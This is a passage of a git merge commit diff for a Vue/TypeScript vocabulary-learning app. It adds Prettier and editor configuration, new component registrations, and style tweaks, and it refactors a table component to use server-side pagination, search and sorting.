Merge branch 'refs/heads/dev'
# Conflicts: # src/pages/word/PracticeWords.vue
This commit is contained in:
12
.editorconfig
Normal file
12
.editorconfig
Normal file
@@ -0,0 +1,12 @@
|
||||
root = true
|
||||
|
||||
[*]
|
||||
charset = utf-8
|
||||
end_of_line = lf
|
||||
indent_style = space
|
||||
indent_size = 2
|
||||
insert_final_newline = true
|
||||
trim_trailing_whitespace = true
|
||||
|
||||
[*.md]
|
||||
trim_trailing_whitespace = false
|
||||
2
.prettierignore
Normal file
2
.prettierignore
Normal file
@@ -0,0 +1,2 @@
|
||||
dist
|
||||
node_modules
|
||||
9
.prettierrc
Normal file
9
.prettierrc
Normal file
@@ -0,0 +1,9 @@
|
||||
{
|
||||
"semi": false,
|
||||
"singleQuote": true,
|
||||
"printWidth": 100,
|
||||
"tabWidth": 2,
|
||||
"trailingComma": "es5",
|
||||
"arrowParens": "avoid",
|
||||
"bracketSpacing": true
|
||||
}
|
||||
10
components.d.ts
vendored
10
components.d.ts
vendored
@@ -10,6 +10,7 @@ declare module 'vue' {
|
||||
export interface GlobalComponents {
|
||||
About: typeof import('./src/components/About.vue')['default']
|
||||
ArticleList: typeof import('./src/components/list/ArticleList.vue')['default']
|
||||
ArticleSettting: typeof import('./src/components/setting/ArticleSettting.vue')['default']
|
||||
Audio: typeof import('./src/components/base/Audio.vue')['default']
|
||||
BackIcon: typeof import('./src/components/BackIcon.vue')['default']
|
||||
BaseButton: typeof import('./src/components/BaseButton.vue')['default']
|
||||
@@ -18,11 +19,15 @@ declare module 'vue' {
|
||||
BaseList: typeof import('./src/components/list/BaseList.vue')['default']
|
||||
BasePage: typeof import('./src/components/BasePage.vue')['default']
|
||||
BaseTable: typeof import('./src/components/BaseTable.vue')['default']
|
||||
BaseTable2: typeof import('./src/components/BaseTable2.vue')['default']
|
||||
Book: typeof import('./src/components/Book.vue')['default']
|
||||
ChannelIcons: typeof import('./src/components/ChannelIcons/ChannelIcons.vue')['default']
|
||||
Checkbox: typeof import('./src/components/base/checkbox/Checkbox.vue')['default']
|
||||
Close: typeof import('./src/components/icon/Close.vue')['default']
|
||||
Collapse: typeof import('./src/components/base/Collapse.vue')['default']
|
||||
CommonSetting: typeof import('./src/components/setting/CommonSetting.vue')['default']
|
||||
ConflictNotice: typeof import('./src/components/ConflictNotice.vue')['default']
|
||||
ConflictNoticeText: typeof import('./src/components/ConflictNoticeText.vue')['default']
|
||||
DeleteIcon: typeof import('./src/components/icon/DeleteIcon.vue')['default']
|
||||
Dialog: typeof import('./src/components/dialog/Dialog.vue')['default']
|
||||
DictGroup: typeof import('./src/components/list/DictGroup.vue')['default']
|
||||
@@ -101,7 +106,6 @@ declare module 'vue' {
|
||||
IconFluentSlideTextTitleEdit20Regular: typeof import('~icons/fluent/slide-text-title-edit20-regular')['default']
|
||||
IconFluentSparkle20Regular: typeof import('~icons/fluent/sparkle20-regular')['default']
|
||||
IconFluentSpeakerEdit20Regular: typeof import('~icons/fluent/speaker-edit20-regular')['default']
|
||||
IconFluentSpeakerSettings20Regular: typeof import('~icons/fluent/speaker-settings20-regular')['default']
|
||||
IconFluentStar16Filled: typeof import('~icons/fluent/star16-filled')['default']
|
||||
IconFluentStar16Regular: typeof import('~icons/fluent/star16-regular')['default']
|
||||
IconFluentStar20Filled: typeof import('~icons/fluent/star20-filled')['default']
|
||||
@@ -144,7 +148,7 @@ declare module 'vue' {
|
||||
RouterLink: typeof import('vue-router')['RouterLink']
|
||||
RouterView: typeof import('vue-router')['RouterView']
|
||||
Select: typeof import('./src/components/base/select/Select.vue')['default']
|
||||
SettingDialog: typeof import('./src/components/SettingDialog.vue')['default']
|
||||
SettingDialog: typeof import('./src/components/setting/SettingDialog.vue')['default']
|
||||
ShareIcon: typeof import('./src/components/ChannelIcons/ShareIcon.vue')['default']
|
||||
Slide: typeof import('./src/components/Slide.vue')['default']
|
||||
SlideHorizontal: typeof import('./src/components/slide/SlideHorizontal.vue')['default']
|
||||
@@ -158,5 +162,7 @@ declare module 'vue' {
|
||||
WeChat: typeof import('./src/components/ChannelIcons/WeChat.vue')['default']
|
||||
WordItem: typeof import('./src/components/WordItem.vue')['default']
|
||||
WordList: typeof import('./src/components/list/WordList.vue')['default']
|
||||
WordList2: typeof import('./src/components/list/WordList2.vue')['default']
|
||||
WordSetting: typeof import('./src/components/setting/WordSetting.vue')['default']
|
||||
}
|
||||
}
|
||||
|
||||
@@ -69,6 +69,7 @@
|
||||
"git-last-commit": "^1.0.1",
|
||||
"gulp": "^4.0.2",
|
||||
"husky": "^8.0.3",
|
||||
"prettier": "^3.7.4",
|
||||
"rollup-plugin-visualizer": "^5.14.0",
|
||||
"sass": "^1.89.2",
|
||||
"sitemap": "^8.0.0",
|
||||
|
||||
31
pnpm-lock.yaml
generated
31
pnpm-lock.yaml
generated
@@ -156,6 +156,9 @@ importers:
|
||||
husky:
|
||||
specifier: ^8.0.3
|
||||
version: 8.0.3
|
||||
prettier:
|
||||
specifier: ^3.7.4
|
||||
version: 3.7.4
|
||||
rollup-plugin-visualizer:
|
||||
specifier: ^5.14.0
|
||||
version: 5.14.0(rollup@4.46.2)
|
||||
@@ -635,21 +638,25 @@ packages:
|
||||
resolution: {integrity: sha512-mMB1AvqzTH25rbUo1eRfvFzNqBopX6aRlDmO1fIVVzIWi6YJNKckxbkGaatez4hH/n86IR6aEdZFM3qBUjn3Tg==}
|
||||
cpu: [arm64]
|
||||
os: [linux]
|
||||
libc: [glibc]
|
||||
|
||||
'@oxc-resolver/binding-linux-arm64-musl@4.2.0':
|
||||
resolution: {integrity: sha512-9oPBU8Yb35z15/14LzALn/8rRwwrtfe19l25N1MRZVSONGiOwfzWNqDNjWiDdyW+EUt/hlylmFOItZmreL6iIw==}
|
||||
cpu: [arm64]
|
||||
os: [linux]
|
||||
libc: [musl]
|
||||
|
||||
'@oxc-resolver/binding-linux-x64-gnu@4.2.0':
|
||||
resolution: {integrity: sha512-8wU4fwHb0b45i0qMBJ24UYBEtaLyvYWUOqVVCn0SpQZ1mhWWC8dvD6+zIVAKRVex/cKdgzi3imXoKGIDqVEu9w==}
|
||||
cpu: [x64]
|
||||
os: [linux]
|
||||
libc: [glibc]
|
||||
|
||||
'@oxc-resolver/binding-linux-x64-musl@4.2.0':
|
||||
resolution: {integrity: sha512-5CS2wlGxzESPJCj4NlNGr73QCku75VpGtkwNp8qJF4hLELKAzkoqIB0eBbcvNPg8m2rB7YeXb1u+puGUKXDhNQ==}
|
||||
cpu: [x64]
|
||||
os: [linux]
|
||||
libc: [musl]
|
||||
|
||||
'@oxc-resolver/binding-wasm32-wasi@4.2.0':
|
||||
resolution: {integrity: sha512-VOLpvmVAQZjvj/7Et/gYzW6yBqL9VKjLWOGaFiQ7cvTpY9R9d/1mrNKEuP3beDHF2si2fM5f2pl9bL+N4tvwiA==}
|
||||
@@ -695,36 +702,42 @@ packages:
|
||||
engines: {node: '>= 10.0.0'}
|
||||
cpu: [arm]
|
||||
os: [linux]
|
||||
libc: [glibc]
|
||||
|
||||
'@parcel/watcher-linux-arm-musl@2.5.1':
|
||||
resolution: {integrity: sha512-6E+m/Mm1t1yhB8X412stiKFG3XykmgdIOqhjWj+VL8oHkKABfu/gjFj8DvLrYVHSBNC+/u5PeNrujiSQ1zwd1Q==}
|
||||
engines: {node: '>= 10.0.0'}
|
||||
cpu: [arm]
|
||||
os: [linux]
|
||||
libc: [musl]
|
||||
|
||||
'@parcel/watcher-linux-arm64-glibc@2.5.1':
|
||||
resolution: {integrity: sha512-LrGp+f02yU3BN9A+DGuY3v3bmnFUggAITBGriZHUREfNEzZh/GO06FF5u2kx8x+GBEUYfyTGamol4j3m9ANe8w==}
|
||||
engines: {node: '>= 10.0.0'}
|
||||
cpu: [arm64]
|
||||
os: [linux]
|
||||
libc: [glibc]
|
||||
|
||||
'@parcel/watcher-linux-arm64-musl@2.5.1':
|
||||
resolution: {integrity: sha512-cFOjABi92pMYRXS7AcQv9/M1YuKRw8SZniCDw0ssQb/noPkRzA+HBDkwmyOJYp5wXcsTrhxO0zq1U11cK9jsFg==}
|
||||
engines: {node: '>= 10.0.0'}
|
||||
cpu: [arm64]
|
||||
os: [linux]
|
||||
libc: [musl]
|
||||
|
||||
'@parcel/watcher-linux-x64-glibc@2.5.1':
|
||||
resolution: {integrity: sha512-GcESn8NZySmfwlTsIur+49yDqSny2IhPeZfXunQi48DMugKeZ7uy1FX83pO0X22sHntJ4Ub+9k34XQCX+oHt2A==}
|
||||
engines: {node: '>= 10.0.0'}
|
||||
cpu: [x64]
|
||||
os: [linux]
|
||||
libc: [glibc]
|
||||
|
||||
'@parcel/watcher-linux-x64-musl@2.5.1':
|
||||
resolution: {integrity: sha512-n0E2EQbatQ3bXhcH2D1XIAANAcTZkQICBPVaxMeaCVBtOpBZpWJuf7LwyWPSBDITb7In8mqQgJ7gH8CILCURXg==}
|
||||
engines: {node: '>= 10.0.0'}
|
||||
cpu: [x64]
|
||||
os: [linux]
|
||||
libc: [musl]
|
||||
|
||||
'@parcel/watcher-win32-arm64@2.5.1':
|
||||
resolution: {integrity: sha512-RFzklRvmc3PkjKjry3hLF9wD7ppR4AKcWNzH7kXR7GUe0Igb3Nz8fyPwtZCSquGrhU5HhUNDr/mKBqj7tqA2Vw==}
|
||||
@@ -794,56 +807,67 @@ packages:
|
||||
resolution: {integrity: sha512-EtP8aquZ0xQg0ETFcxUbU71MZlHaw9MChwrQzatiE8U/bvi5uv/oChExXC4mWhjiqK7azGJBqU0tt5H123SzVA==}
|
||||
cpu: [arm]
|
||||
os: [linux]
|
||||
libc: [glibc]
|
||||
|
||||
'@rollup/rollup-linux-arm-musleabihf@4.46.2':
|
||||
resolution: {integrity: sha512-qO7F7U3u1nfxYRPM8HqFtLd+raev2K137dsV08q/LRKRLEc7RsiDWihUnrINdsWQxPR9jqZ8DIIZ1zJJAm5PjQ==}
|
||||
cpu: [arm]
|
||||
os: [linux]
|
||||
libc: [musl]
|
||||
|
||||
'@rollup/rollup-linux-arm64-gnu@4.46.2':
|
||||
resolution: {integrity: sha512-3dRaqLfcOXYsfvw5xMrxAk9Lb1f395gkoBYzSFcc/scgRFptRXL9DOaDpMiehf9CO8ZDRJW2z45b6fpU5nwjng==}
|
||||
cpu: [arm64]
|
||||
os: [linux]
|
||||
libc: [glibc]
|
||||
|
||||
'@rollup/rollup-linux-arm64-musl@4.46.2':
|
||||
resolution: {integrity: sha512-fhHFTutA7SM+IrR6lIfiHskxmpmPTJUXpWIsBXpeEwNgZzZZSg/q4i6FU4J8qOGyJ0TR+wXBwx/L7Ho9z0+uDg==}
|
||||
cpu: [arm64]
|
||||
os: [linux]
|
||||
libc: [musl]
|
||||
|
||||
'@rollup/rollup-linux-loongarch64-gnu@4.46.2':
|
||||
resolution: {integrity: sha512-i7wfGFXu8x4+FRqPymzjD+Hyav8l95UIZ773j7J7zRYc3Xsxy2wIn4x+llpunexXe6laaO72iEjeeGyUFmjKeA==}
|
||||
cpu: [loong64]
|
||||
os: [linux]
|
||||
libc: [glibc]
|
||||
|
||||
'@rollup/rollup-linux-ppc64-gnu@4.46.2':
|
||||
resolution: {integrity: sha512-B/l0dFcHVUnqcGZWKcWBSV2PF01YUt0Rvlurci5P+neqY/yMKchGU8ullZvIv5e8Y1C6wOn+U03mrDylP5q9Yw==}
|
||||
cpu: [ppc64]
|
||||
os: [linux]
|
||||
libc: [glibc]
|
||||
|
||||
'@rollup/rollup-linux-riscv64-gnu@4.46.2':
|
||||
resolution: {integrity: sha512-32k4ENb5ygtkMwPMucAb8MtV8olkPT03oiTxJbgkJa7lJ7dZMr0GCFJlyvy+K8iq7F/iuOr41ZdUHaOiqyR3iQ==}
|
||||
cpu: [riscv64]
|
||||
os: [linux]
|
||||
libc: [glibc]
|
||||
|
||||
'@rollup/rollup-linux-riscv64-musl@4.46.2':
|
||||
resolution: {integrity: sha512-t5B2loThlFEauloaQkZg9gxV05BYeITLvLkWOkRXogP4qHXLkWSbSHKM9S6H1schf/0YGP/qNKtiISlxvfmmZw==}
|
||||
cpu: [riscv64]
|
||||
os: [linux]
|
||||
libc: [musl]
|
||||
|
||||
'@rollup/rollup-linux-s390x-gnu@4.46.2':
|
||||
resolution: {integrity: sha512-YKjekwTEKgbB7n17gmODSmJVUIvj8CX7q5442/CK80L8nqOUbMtf8b01QkG3jOqyr1rotrAnW6B/qiHwfcuWQA==}
|
||||
cpu: [s390x]
|
||||
os: [linux]
|
||||
libc: [glibc]
|
||||
|
||||
'@rollup/rollup-linux-x64-gnu@4.46.2':
|
||||
resolution: {integrity: sha512-Jj5a9RUoe5ra+MEyERkDKLwTXVu6s3aACP51nkfnK9wJTraCC8IMe3snOfALkrjTYd2G1ViE1hICj0fZ7ALBPA==}
|
||||
cpu: [x64]
|
||||
os: [linux]
|
||||
libc: [glibc]
|
||||
|
||||
'@rollup/rollup-linux-x64-musl@4.46.2':
|
||||
resolution: {integrity: sha512-7kX69DIrBeD7yNp4A5b81izs8BqoZkCIaxQaOpumcJ1S/kmqNFjPhDu1LHeVXv0SexfHQv5cqHsxLOjETuqDuA==}
|
||||
cpu: [x64]
|
||||
os: [linux]
|
||||
libc: [musl]
|
||||
|
||||
'@rollup/rollup-win32-arm64-msvc@4.46.2':
|
||||
resolution: {integrity: sha512-wiJWMIpeaak/jsbaq2HMh/rzZxHVW1rU6coyeNNpMwk5isiPjSTx0a4YLSlYDwBH/WBvLz+EtsNqQScZTLJy3g==}
|
||||
@@ -3002,6 +3026,11 @@ packages:
|
||||
resolution: {integrity: sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg==}
|
||||
engines: {node: ^10 || ^12 || >=14}
|
||||
|
||||
prettier@3.7.4:
|
||||
resolution: {integrity: sha512-v6UNi1+3hSlVvv8fSaoUbggEM5VErKmmpGA7Pl3HF8V6uKY7rvClBOJlH6yNwQtfTueNkGVpOv/mtWL9L4bgRA==}
|
||||
engines: {node: '>=14'}
|
||||
hasBin: true
|
||||
|
||||
pretty-hrtime@1.0.3:
|
||||
resolution: {integrity: sha512-66hKPCr+72mlfiSjlEB1+45IjXSqvVAIy6mocupoww4tBFE9R9IhwwUGoI4G++Tc9Aq+2rxOt0RFU6gPcrte0A==}
|
||||
engines: {node: '>= 0.8'}
|
||||
@@ -6965,6 +6994,8 @@ snapshots:
|
||||
picocolors: 1.1.1
|
||||
source-map-js: 1.2.1
|
||||
|
||||
prettier@3.7.4: {}
|
||||
|
||||
pretty-hrtime@1.0.3: {}
|
||||
|
||||
process-nextick-args@2.0.1: {}
|
||||
|
||||
@@ -5,7 +5,7 @@
|
||||
<title>TypeWords 数据迁移(旧域名)</title>
|
||||
</head>
|
||||
<body>
|
||||
<h2>等待新域名发送迁移指令...</h2>
|
||||
<h2 id="title">等待新域名发送迁移指令...</h2>
|
||||
<pre id="log"></pre>
|
||||
|
||||
<script>
|
||||
@@ -78,6 +78,7 @@
|
||||
log("已发送迁移数据");
|
||||
// 自动关闭窗口(延迟 500ms)
|
||||
setTimeout(() => {
|
||||
document.getElementById('title').textContent = '迁移完成,请手动关闭页面'
|
||||
window.close();
|
||||
}, 500);
|
||||
});
|
||||
|
||||
@@ -21,7 +21,7 @@ export function myDictList(params?) {
|
||||
}
|
||||
|
||||
export function add2MyDict(data) {
|
||||
return http('dict/add2MyDict', remove(data), null, 'post')
|
||||
return http<number>('dict/add2MyDict', remove(data), null, 'post')
|
||||
}
|
||||
|
||||
export function addStat(data) {
|
||||
@@ -32,8 +32,8 @@ export function detail(params?, data?) {
|
||||
return http<Dict>('dict/detail', data, params, 'get')
|
||||
}
|
||||
|
||||
export function setDictProp(params?, data?) {
|
||||
return http<Dict>('dict/setDictProp', remove(data), remove(params), 'post')
|
||||
export function setUserDictProp(params?, data?) {
|
||||
return http<Dict>('dict/setUserDictProp', remove(data), remove(params), 'post')
|
||||
}
|
||||
|
||||
export function syncSetting(params?, data?) {
|
||||
|
||||
@@ -28,6 +28,7 @@
|
||||
--toolbar-width: 50rem;
|
||||
--panel-width: 24rem;
|
||||
|
||||
--modal-padding: 1.3rem;
|
||||
--space: 0.9rem;
|
||||
--stat-gap: 1rem;
|
||||
--shadow: rgba(0, 0, 0, 0.08) 0px 4px 12px;
|
||||
@@ -199,7 +200,8 @@ html.dark {
|
||||
font-family: var(--font-family);
|
||||
}
|
||||
|
||||
html, body {
|
||||
html,
|
||||
body {
|
||||
//font-size: 1px;
|
||||
padding: 0;
|
||||
margin: 0;
|
||||
@@ -275,10 +277,12 @@ a {
|
||||
width: .5rem;
|
||||
height: .6rem;
|
||||
}
|
||||
|
||||
::-webkit-scrollbar-track {
|
||||
background: transparent;
|
||||
border-radius: .1rem;
|
||||
}
|
||||
|
||||
::-webkit-scrollbar-thumb {
|
||||
background: var(--color-scrollbar);
|
||||
border-radius: .6rem;
|
||||
@@ -321,7 +325,7 @@ a {
|
||||
justify-content: space-between;
|
||||
transition: all .3s;
|
||||
padding: .6rem;
|
||||
gap: .6rem;
|
||||
gap: .3rem;
|
||||
border: 1px solid var(--color-item-border);
|
||||
|
||||
.left {
|
||||
@@ -374,6 +378,7 @@ a {
|
||||
align-items: center;
|
||||
gap: .5rem;
|
||||
color: var(--color-main-text);
|
||||
flex-wrap: wrap;
|
||||
|
||||
span {
|
||||
flex-shrink: 0;
|
||||
@@ -381,7 +386,6 @@ a {
|
||||
|
||||
.word {
|
||||
font-size: 1.2rem;
|
||||
display: flex;
|
||||
}
|
||||
|
||||
.phonetic {
|
||||
@@ -439,6 +443,7 @@ a {
|
||||
.center {
|
||||
@apply flex justify-center items-center;
|
||||
}
|
||||
|
||||
.center-col {
|
||||
@extend .center;
|
||||
@apply flex-col;
|
||||
@@ -499,9 +504,12 @@ a {
|
||||
}
|
||||
|
||||
@keyframes underline {
|
||||
0%, 100% {
|
||||
|
||||
0%,
|
||||
100% {
|
||||
border-left: .1rem solid var(--color-article);
|
||||
}
|
||||
|
||||
50% {
|
||||
border-left: .1rem solid transparent;
|
||||
}
|
||||
@@ -521,4 +529,10 @@ a {
|
||||
background: transparent;
|
||||
font-size: 16px; // 防止iOS缩放
|
||||
color: transparent; // 文字透明
|
||||
}
|
||||
}
|
||||
|
||||
.btn-no-margin {
|
||||
.base-button + .base-button {
|
||||
margin-left: 0 !important;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,22 +1,19 @@
|
||||
<script setup lang="tsx">
|
||||
|
||||
import {nextTick, useSlots} from "vue";
|
||||
import {Sort} from "@/types/types.ts";
|
||||
import { nextTick, onMounted, useSlots } from "vue";
|
||||
import { Sort } from "@/types/types.ts";
|
||||
import MiniDialog from "@/components/dialog/MiniDialog.vue";
|
||||
import BaseIcon from "@/components/BaseIcon.vue";
|
||||
import BaseButton from "@/components/BaseButton.vue";
|
||||
import {cloneDeep, debounce, reverse, shuffle} from "@/utils";
|
||||
import { debounce } from "@/utils";
|
||||
import PopConfirm from "@/components/PopConfirm.vue";
|
||||
import Empty from "@/components/Empty.vue";
|
||||
import Pagination from '@/components/base/Pagination.vue'
|
||||
import Toast from '@/components/base/toast/Toast.ts'
|
||||
import Checkbox from "@/components/base/checkbox/Checkbox.vue";
|
||||
import DeleteIcon from "@/components/icon/DeleteIcon.vue";
|
||||
import Dialog from "@/components/dialog/Dialog.vue";
|
||||
import BaseInput from "@/components/base/BaseInput.vue";
|
||||
import {Host} from "@/config/env.ts";
|
||||
|
||||
let list = defineModel('list')
|
||||
import { Host } from "@/config/env.ts";
|
||||
|
||||
const props = withDefaults(defineProps<{
|
||||
loading?: boolean
|
||||
@@ -24,27 +21,26 @@ const props = withDefaults(defineProps<{
|
||||
showPagination?: boolean
|
||||
exportLoading?: boolean
|
||||
importLoading?: boolean
|
||||
del?: Function
|
||||
batchDel?: Function
|
||||
add?: Function
|
||||
request?: Function
|
||||
list?: any[]
|
||||
}>(), {
|
||||
loading: true,
|
||||
showToolbar: true,
|
||||
showPagination: true,
|
||||
exportLoading: false,
|
||||
importLoading: false,
|
||||
del: () => void 0,
|
||||
add: () => void 0,
|
||||
batchDel: () => void 0
|
||||
})
|
||||
|
||||
const emit = defineEmits<{
|
||||
add: []
|
||||
click: [val: {
|
||||
item: any,
|
||||
index: number
|
||||
}],
|
||||
importData: [e: Event]
|
||||
exportData: []
|
||||
import: [e: Event]
|
||||
export: []
|
||||
del: [ids: number[]],
|
||||
sort: [type: Sort, pageNo: number, pageSize: number]
|
||||
}>()
|
||||
|
||||
let listRef: any = $ref()
|
||||
@@ -63,21 +59,10 @@ function scrollToTop() {
|
||||
|
||||
function scrollToItem(index: number) {
|
||||
nextTick(() => {
|
||||
listRef?.children[index]?.scrollIntoView({block: 'center', behavior: 'smooth'})
|
||||
listRef?.children[index]?.scrollIntoView({ block: 'center', behavior: 'smooth' })
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
let pageNo = $ref(1)
|
||||
let pageSize = $ref(50)
|
||||
let currentList = $computed(() => {
|
||||
if (searchKey) {
|
||||
return list.value.filter(v => v.word.includes(searchKey))
|
||||
}
|
||||
if (!props.showPagination) return list.value
|
||||
return list.value.slice((pageNo - 1) * pageSize, (pageNo - 1) * pageSize + pageSize)
|
||||
})
|
||||
|
||||
let selectIds = $ref([])
|
||||
let selectAll = $computed(() => {
|
||||
return !!selectIds.length
|
||||
@@ -96,11 +81,10 @@ function toggleSelectAll() {
|
||||
if (selectAll) {
|
||||
selectIds = []
|
||||
} else {
|
||||
selectIds = currentList.map(v => v.id)
|
||||
selectIds = params.list.map(v => v.id)
|
||||
}
|
||||
}
|
||||
|
||||
let searchKey = $ref('')
|
||||
let showSortDialog = $ref(false)
|
||||
let showSearchInput = $ref(false)
|
||||
let showImportDialog = $ref(false)
|
||||
@@ -108,34 +92,76 @@ let showImportDialog = $ref(false)
|
||||
const closeImportDialog = () => showImportDialog = false
|
||||
|
||||
function sort(type: Sort) {
|
||||
if (type === Sort.reverse) {
|
||||
Toast.success('已翻转排序')
|
||||
list.value = reverse(cloneDeep(list.value))
|
||||
}
|
||||
if (type === Sort.random) {
|
||||
Toast.success('已随机排序')
|
||||
list.value = shuffle(cloneDeep(list.value))
|
||||
if ([Sort.reverse, Sort.random].includes(type)) {
|
||||
emit('sort', type, params.pageNo, params.pageSize)
|
||||
} else {
|
||||
emit('sort', type, 1, params.total)
|
||||
}
|
||||
showSortDialog = false
|
||||
}
|
||||
|
||||
function handleBatchDel() {
|
||||
props.batchDel(selectIds)
|
||||
emit('del', selectIds)
|
||||
selectIds = []
|
||||
}
|
||||
|
||||
function handlePageNo(e) {
|
||||
pageNo = e
|
||||
scrollToTop()
|
||||
}
|
||||
|
||||
const s = useSlots()
|
||||
|
||||
defineExpose({
|
||||
scrollToBottom,
|
||||
scrollToItem,
|
||||
closeImportDialog
|
||||
closeImportDialog,
|
||||
getData
|
||||
})
|
||||
|
||||
let loading2 = $ref(false)
|
||||
|
||||
let params = $ref({
|
||||
pageNo: 1,
|
||||
pageSize: 50,
|
||||
total: 0,
|
||||
list: [],
|
||||
sortType: null,
|
||||
searchKey: ''
|
||||
})
|
||||
|
||||
function search(key: string) {
|
||||
if (!params.searchKey) {
|
||||
params.pageNo = 1
|
||||
}
|
||||
params.searchKey = key
|
||||
getData()
|
||||
}
|
||||
|
||||
function cancelSearch() {
|
||||
params.searchKey = ''
|
||||
showSearchInput = false
|
||||
getData()
|
||||
}
|
||||
|
||||
async function getData() {
|
||||
if (props.request) {
|
||||
loading2 = true
|
||||
let { list, total } = await props.request(params)
|
||||
params.list = list
|
||||
params.total = total
|
||||
loading2 = false
|
||||
} else {
|
||||
params.list = props.list ?? []
|
||||
}
|
||||
}
|
||||
|
||||
function handlePageNo(e) {
|
||||
params.pageNo = e
|
||||
getData()
|
||||
scrollToTop()
|
||||
}
|
||||
|
||||
onMounted(async () => {
|
||||
getData()
|
||||
|
||||
})
|
||||
|
||||
defineRender(
|
||||
() => {
|
||||
const d = (item) => <Checkbox
|
||||
@@ -152,8 +178,8 @@ defineRender(
|
||||
<div class="flex gap-4">
|
||||
<BaseInput
|
||||
clearable
|
||||
modelValue={searchKey}
|
||||
onUpdate:modelValue={debounce(e => searchKey = e)}
|
||||
modelValue={params.searchKey}
|
||||
onUpdate:modelValue={debounce(e => search(e), 500)}
|
||||
class="flex-1"
|
||||
autofocus>
|
||||
{{
|
||||
@@ -162,151 +188,153 @@ defineRender(
|
||||
/>
|
||||
}}
|
||||
</BaseInput>
|
||||
<BaseButton onClick={() => (showSearchInput = false, searchKey = '')}>取消</BaseButton>
|
||||
<BaseButton onClick={cancelSearch}>取消</BaseButton>
|
||||
</div>
|
||||
) : (
|
||||
<div class="flex justify-between">
|
||||
<div class="flex gap-2 items-center">
|
||||
<Checkbox
|
||||
disabled={!currentList.length}
|
||||
disabled={!params.list.length}
|
||||
onChange={() => toggleSelectAll()}
|
||||
modelValue={selectAll}
|
||||
size="large"/>
|
||||
<span>{selectIds.length} / {list.value.length}</span>
|
||||
<span>{selectIds.length} / {params.total}</span>
|
||||
</div>
|
||||
|
||||
<div class="flex gap-2 relative">
|
||||
{
|
||||
selectIds.length ?
|
||||
<PopConfirm title="确认删除所有选中数据?"
|
||||
onConfirm={handleBatchDel}
|
||||
>
|
||||
<BaseIcon
|
||||
class="del"
|
||||
title="删除">
|
||||
<DeleteIcon/>
|
||||
</BaseIcon>
|
||||
</PopConfirm>
|
||||
: null
|
||||
}
|
||||
<BaseIcon
|
||||
onClick={() => showImportDialog = true}
|
||||
title="导入">
|
||||
<IconSystemUiconsImport/>
|
||||
</BaseIcon>
|
||||
<BaseIcon
|
||||
onClick={() => emit('exportData')}
|
||||
title="导出">
|
||||
{props.exportLoading ? <IconEosIconsLoading/> : <IconPhExportLight/>}
|
||||
</BaseIcon>
|
||||
<BaseIcon
|
||||
onClick={props.add}
|
||||
title="添加单词">
|
||||
<IconFluentAdd20Regular/>
|
||||
</BaseIcon>
|
||||
<BaseIcon
|
||||
disabled={!currentList.length}
|
||||
title="改变顺序"
|
||||
onClick={() => showSortDialog = !showSortDialog}
|
||||
>
|
||||
<IconFluentArrowSort20Regular/>
|
||||
</BaseIcon>
|
||||
<BaseIcon
|
||||
disabled={!currentList.length}
|
||||
onClick={() => showSearchInput = !showSearchInput}
|
||||
title="搜索">
|
||||
<IconFluentSearch20Regular/>
|
||||
</BaseIcon>
|
||||
<MiniDialog
|
||||
modelValue={showSortDialog}
|
||||
onUpdate:modelValue={e => showSortDialog = e}
|
||||
style="width: 8rem;"
|
||||
>
|
||||
<div class="mini-row-title">
|
||||
列表顺序设置
|
||||
</div>
|
||||
<div class="mini-row">
|
||||
<BaseButton size="small" onClick={() => sort(Sort.reverse)}>翻转
|
||||
</BaseButton>
|
||||
<BaseButton size="small" onClick={() => sort(Sort.random)}>随机</BaseButton>
|
||||
</div>
|
||||
</MiniDialog>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
</div>
|
||||
}
|
||||
{
|
||||
props.loading ?
|
||||
<div class="h-full w-full center text-4xl">
|
||||
<IconEosIconsLoading color="gray"/>
|
||||
</div>
|
||||
: currentList.length ? (
|
||||
<>
|
||||
<div class="flex-1 overflow-auto"
|
||||
ref={e => listRef = e}>
|
||||
{currentList.map((item, index) => {
|
||||
return (
|
||||
<div class="list-item-wrapper"
|
||||
key={item.word}
|
||||
>
|
||||
{s.default({checkbox: d, item, index: (pageSize * (pageNo - 1)) + index + 1})}
|
||||
</div>
|
||||
<div class="flex gap-2 relative">
|
||||
{
|
||||
selectIds.length ?
|
||||
<PopConfirm title="确认删除所有选中数据?"
|
||||
onConfirm={handleBatchDel}
|
||||
>
|
||||
<BaseIcon class="del" title="删除">
|
||||
<DeleteIcon/>
|
||||
</BaseIcon>
|
||||
</PopConfirm>
|
||||
: null
|
||||
}
|
||||
<BaseIcon
|
||||
onClick={() => showImportDialog = true}
|
||||
title="导入">
|
||||
<IconSystemUiconsImport/>
|
||||
</BaseIcon>
|
||||
<BaseIcon
|
||||
onClick={() => emit('export')}
|
||||
title="导出">
|
||||
{props.exportLoading ? <IconEosIconsLoading/> : <IconPhExportLight/>}
|
||||
</BaseIcon>
|
||||
<BaseIcon
|
||||
onClick={() => emit('add')}
|
||||
title="添加单词">
|
||||
<IconFluentAdd20Regular/>
|
||||
</BaseIcon>
|
||||
<BaseIcon
|
||||
disabled={!params.list.length}
|
||||
title="改变顺序"
|
||||
onClick={() => showSortDialog = !showSortDialog}
|
||||
>
|
||||
<IconFluentArrowSort20Regular/>
|
||||
</BaseIcon>
|
||||
<BaseIcon
|
||||
disabled={!params.list.length}
|
||||
onClick={() => showSearchInput = !showSearchInput}
|
||||
title="搜索">
|
||||
<IconFluentSearch20Regular/>
|
||||
</BaseIcon>
|
||||
<MiniDialog
|
||||
modelValue={showSortDialog}
|
||||
onUpdate:modelValue={e => showSortDialog = e}
|
||||
style="width: 8rem;"
|
||||
>
|
||||
<div class="mini-row-title">
|
||||
列表顺序设置
|
||||
</div>
|
||||
<div class="flex flex-col gap2 btn-no-margin">
|
||||
<BaseButton onClick={() => sort(Sort.reverse)}>翻转当前页</BaseButton>
|
||||
<BaseButton onClick={() => sort(Sort.reverseAll)}>翻转所有</BaseButton>
|
||||
<div class="line"></div>
|
||||
<BaseButton onClick={() => sort(Sort.random)}>随机当前页</BaseButton>
|
||||
<BaseButton onClick={() => sort(Sort.randomAll)}>随机所有</BaseButton>
|
||||
</div>
|
||||
</MiniDialog>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
})}
|
||||
}
|
||||
</div>
|
||||
{
|
||||
props.showPagination && <div class="flex justify-end">
|
||||
